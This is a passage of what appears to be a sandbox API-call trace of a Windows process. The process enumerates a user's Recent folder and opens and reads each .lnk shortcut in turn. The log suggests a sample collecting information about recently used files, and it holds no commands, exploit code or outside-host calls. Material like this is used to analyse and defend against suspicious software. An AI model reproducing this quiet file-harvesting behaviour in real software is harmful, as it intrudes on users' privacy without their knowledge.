pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5f | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5e | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5e | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gsjzhhkplbvjkw1clgz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.709] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa7a [0076.709] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c6d8, nNumberOfBytesToRead=0xa7a, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c6d8*, lpNumberOfBytesRead=0x18e2f8*=0xa7a, lpOverlapped=0x0) returned 1 [0076.710] CloseHandle (hObject=0x3f8) returned 1 [0076.710] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.710] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1c2600, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e1c2600, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e1c2600, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gx-9m.lnk", cAlternateFileName="")) returned 1 [0076.710] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gsjZHHkpLbVJkW1Clgz.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk") returned 1 [0076.710] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk", len=0x51 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk") returned 1 [0076.711] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk") returned 1 [0076.711] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk", len=0x50 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk") returned 1 [0076.711] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gx-9m.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk") returned 1 [0076.711] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk", len=0x50 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk") returned 1 [0076.711] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk") returned 1 [0076.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gx-9m.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.711] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19b8 [0076.711] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0x19b8, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0x19b8, lpOverlapped=0x0) returned 1 [0076.712] CloseHandle (hObject=0x3f8) returned 1 [0076.712] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.712] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4d0e60, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d4d0e60, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d4d0e60, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="h72CJ5GET.ots.lnk", cAlternateFileName="H72CJ5~1.LNK")) returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gx-9m.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk") returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk") returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk") returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk", len=0x58 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk") returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\h72CJ5GET.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk") returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk", len=0x58 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk") returned 1 [0076.713] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk") returned 1 [0076.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\h72cj5get.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.713] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19c7 [0076.713] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c604, nNumberOfBytesToRead=0x19c7, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c604*, lpNumberOfBytesRead=0x18e2f8*=0x19c7, lpOverlapped=0x0) returned 1 [0076.714] CloseHandle (hObject=0x3f8) returned 1 [0076.714] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.714] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d70c300, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d70c300, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d70c300, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xf05, dwReserved0=0x0, dwReserved1=0x0, cFileName="hGyi-Cb.lnk", cAlternateFileName="")) returned 1 [0076.714] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h72CJ5GET.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk") returned 1 [0076.714] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk", len=0x53 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk") returned 1 [0076.714] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk") returned 1 [0076.714] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk", len=0x52 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk") returned 1 [0076.714] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hGyi-Cb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk") returned 1 [0076.715] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk", len=0x52 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk") returned 1 [0076.715] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk") returned 1 [0076.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hgyi-cb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.715] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xf05 [0076.715] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0xf05, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0xf05, lpOverlapped=0x0) returned 1 [0076.716] CloseHandle (hObject=0x3f8) returned 1 [0076.716] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.716] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2f6960, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9c2f6960, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9c2f6960, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x144e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hHu6n-WhXpQLeR.lnk", cAlternateFileName="HHU6N-~1.LNK")) returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hGyi-Cb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk", len=0x5a | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk", len=0x59 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\hHu6n-WhXpQLeR.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk", len=0x59 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk") returned 1 [0076.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hhu6n-whxpqler.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.716] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x144e [0076.716] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c604, nNumberOfBytesToRead=0x144e, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c604*, lpNumberOfBytesRead=0x18e2f8*=0x144e, lpOverlapped=0x0) returned 1 [0076.717] CloseHandle (hObject=0x3f8) returned 1 [0076.717] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.717] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caff3a0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9caff3a0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9caff3a0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hr58A4aaHM.lnk", cAlternateFileName="HR58A4~1.LNK")) returned 1 [0076.717] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHu6n-WhXpQLeR.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk") returned 1 [0076.718] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk", len=0x56 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk") returned 1 [0076.718] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk") returned 1 [0076.718] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk", len=0x55 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk") returned 1 [0076.718] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Hr58A4aaHM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk") returned 1 [0076.718] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk", len=0x55 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk") returned 1 [0076.718] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hr58A4aaHM.lnk") returned 1 [0076.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 